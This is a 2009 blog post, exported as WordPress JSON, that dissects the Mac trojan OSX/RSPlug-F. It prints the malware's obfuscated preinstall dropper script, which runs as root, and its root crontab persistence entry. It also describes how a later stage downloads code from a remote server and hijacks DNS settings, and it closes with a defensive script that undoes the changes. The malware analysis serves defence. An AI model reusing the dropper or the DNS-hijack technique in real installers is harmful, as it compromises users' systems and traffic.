{"id":70,"date":"2009-03-30T13:51:39","date_gmt":"2009-03-30T19:51:39","guid":{"rendered":"http:\/\/www.brunerd.com\/blog\/?p=70"},"modified":"2009-04-01T17:01:21","modified_gmt":"2009-04-01T23:01:21","slug":"tearing-apart-osxrsplug-f","status":"publish","type":"post","link":"https:\/\/www.brunerd.com\/blog\/2009\/03\/30\/tearing-apart-osxrsplug-f\/","title":{"rendered":"Tearing Apart OSX\/RSPlug-F"},"content":{"rendered":"

OK… I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the \u00a0headline grabbing trojan OSX\/RSPlug-F<\/a>. Thanks to the effervescent Graham Cluley for his witty\u00a0post<\/a> with video demonstration of OSX\/RSPlug-F being detected. It’s what started this investigation.<\/p>\n

So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it… So I downloaded the sucker, you can too!<\/p>\n

Live Code:\u00a0OSX\/RSPlug-F trojan<\/a><\/p>\n

And what else can I say but: I’ll be darned if I can get the thing to work<\/strong>! Actually I do get it to work, but due to some coding errors out of the box, it’s a dud.<\/p>\n

So let’s start the dissection:<\/p>\n

The URL downloads\u00a0HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you’re using Safari on a Mac and have the damnable default of “Open ‘Safe’ files after Downloading” it’ll go right to the installer. Which let me note Open “Safe” Files after downloading <\/strong>is the stupidest<\/strong> thing to happen to browsers since\u00a0Active-X. The air quotes around “Safe” do not help, Apple, it’s a sly wink and a nod that no file type is totally safe<\/strong> but *shrug* whatcha gonna do? I’ll tell you what:\u00a0don’t make it a dang default<\/strong>!<\/p>\n

\"firefox-rsplug-cached-before-clicking-save\"<\/a><\/p>\n

Firefox<\/strong> is not off the hook either, let me bring up the poisonous Firefox convenience: “predownloading”. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to cache<\/a> and upon the user clicking Save it copies it to the destination or if the click Cancel\u00a0it stays there. I think Firefox’s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that “hey it’s already here!”, but otherwise let me decide what and when something goes on my hard drive.<\/p>\n

Anyway… let’s look at an Installer window the average user won’t look at: Show Files<\/p>\n

.\/AdobeFlash
\n.\/Mozillaplug.plugin
\n.\/Mozillaplug.plugin\/Contents
\n.\/Mozillaplug.plugin\/Contents\/Info.plist
\n.\/Mozillaplug.plugin\/Contents\/MacOS
\n.\/Mozillaplug.plugin\/Contents\/MacOS\/VerifiedDownloadPlugin
\n.\/Mozillaplug.plugin\/Contents\/Resources
\n.\/Mozillaplug.plugin\/Contents\/Resources\/VerifiedDownloadPlugin.rsrc
\n.\/Mozillaplug.plugin\/Contents\/version.plist<\/p>\n

First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the\u00a0mysterious<\/a> VerifiedDownloadPlugin. No mention of Cinema eh?<\/p>\n

Take a gander in Info.plist of install.pkg<\/strong> to see where it goes:
\nIFPkgFlagDefaultLocation\u00a0\/Library\/Internet Plug-Ins\/
\n<\/em><\/p>\n

So then, why would it need root privileges for an admin writable folder, eh?
\n\"redflag\"<\/a>
\nIFPkgFlagAuthorizationAction <\/strong>RootAuthorization<\/em>, for those following along in the Info.plist
\nBonus:\u00a0CFBundleGetInfoString<\/strong> =\u00a0who cares
\nDouble Secret Bonus:
\nResource\/en.lproj\/Description.plist\u00a0IFPkgDescriptionDescription<\/strong> =\u00a0shutdafuckup<\/em><\/span><\/em><\/p>\n

Strangely when you look in both the logs created by Installer.app in \/var\/log\/installer.log:
\nLeopard it says:\u00a0\"admin<\/strong> auth received to install\"
\n<\/code>Tiger says: \"Administrator<\/strong> authorization granted.\"
\n<\/code>I don’t know why you wouldn’t want the logs to clearly state root privileges were given, but there you have it, it doesn’t.<\/p>\n

So what does it do with the root\u00a0privileges? Hmmm? Let’s look in the preinstall\/preupgrade\u00a0scripts<\/a> which are identical because apparently the author didn’t realize that a\u00a0preflight script would kill two birds with one stone.<\/p>\n

#!\/bin\/sh
\nif [ $# != 1 ]; then type=0; else type=1; fi && tail -37 $0 | sed '\/\\n\/!G;s\/\\(.\\)\\(.*\\n\\)\/&\\2\\1\/;\/\/D;s\/.\/\/' | uudecode -o \/dev\/stdout | sed 's\/applemac\/AdobeFlash\/' | sed 's\/bsd\/7000\/' | sed 's\/gnu\/'$type'\/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
\nyksrepsak 777 nigeb
\nO(2\/H178PI@(C%6;EQ&<#-RX\"-Y(2\/21$1!!52M
\n.... <SNIP> ....
\n*4F;DI`8*(B(`A$8*TD(`5T4^<3+4EC-8
\n`
\ndne
\n<\/code><\/p>\n

OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace ‘applemac’ with ‘AdobeFlash’ (remember that’s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.<\/p>\n

Well, we’ll get to the ‘unencrypted’ payload in a sec let’s run this and see what happens leopard-fail<\/a> anf\u00a0tiger-fail<\/a> — they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let’s see where we’re at:<\/p>\n

The root crontab is altered to inlude:\u00a0* *\/5 * * * \/Library\/Internet Plug-Ins\/AdobeFlash
\n<\/code>Since the script fails, the package does not install, so the crontab pointing to it is useless…<\/p>\n

i386<\/a> is left in the root, it doesn’t get a chance to delete itself, considering that all those && statements mean “execute the next step only if the last thing completed correctly”, since it fails it doesn’t get deleted.<\/p>\n

i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here’s the perl code<\/a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let’s say we fix the code so it can talk to the server, get a response, and parse the output into a file…<\/p>\n

685<\/a> is downloaded to \/tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs\u00a0this<\/a> — the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of “here documents” to script scutil to change the DNS servers, which seem to rotate, you’ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who’s financing and running it in this global day and age. But the propensity for\u00a0matryoshka<\/a> style nested code seems telling :)<\/p>\n

Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows…<\/p>\n

The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre\/post scripts and generally do what only 1% of the most vigilant of the population would do and you’ll be fine<\/strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say “Hey are your sure you want to grant root<\/strong> — REALLY!?”, pre\/postflight scripts will be easier to look in UI (I am<\/strong> dreaming aren’t I), the logs won’t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when I<\/strong> click Save… (it’s open source, easy to change, but it’ll take a flame war to settle it)<\/p>\n

Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.<\/p>\n

Update:
\nI suppose it’d be helpful to add some instructions on how to reverse the scutil modifications, here’s the script<\/a> (the code might look familiar)<\/p>\n

#!\/bin\/sh
\nif (( $(id -u) != 0 )); then echo \"Please run with sudo\" && exit 1; fi
\nPSID=$( (\/usr\/sbin\/scutil | \/usr\/bin\/grep PrimaryService | \/usr\/bin\/sed -e 's\/.*PrimaryService : \/\/')<< EOF
\nget State:\/Network\/Global\/IPv4
\nd.show
\nquit
\nEOF
\n)<\/code><\/p>\n

<\/code><\/p>\n

\/usr\/sbin\/scutil << EOF
\nremove State:\/Network\/Service\/$PSID\/DNS
\nquit
\nEOF<\/p>\n

<\/code><\/p>\n

echo \"Please toggle your network adapter on\/off to refresh DNS servers from DHCP\"<\/code><\/p>\n

Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you’re doing.<\/p>\n","protected":false},"excerpt":{"rendered":"

OK… I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the \u00a0headline grabbing trojan OSX\/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty\u00a0post with video demonstration of OSX\/RSPlug-F being detected. It’s what started this investigation. So, being […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,11,4,5,12,8],"tags":[],"class_list":["post-70","post","type-post","status-publish","format-standard","hentry","category-apple","category-industry","category-os-x","category-packages","category-scripting","category-security"],"_links":{"self":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/comments?post=70"}],"version-history":[{"count":22,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70\/revisions"}],"predecessor-version":[{"id":102,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70\/revisions\/102"}],"wp:attachment":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/media?parent=70"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/categories?post=70"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/tags?post=70"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}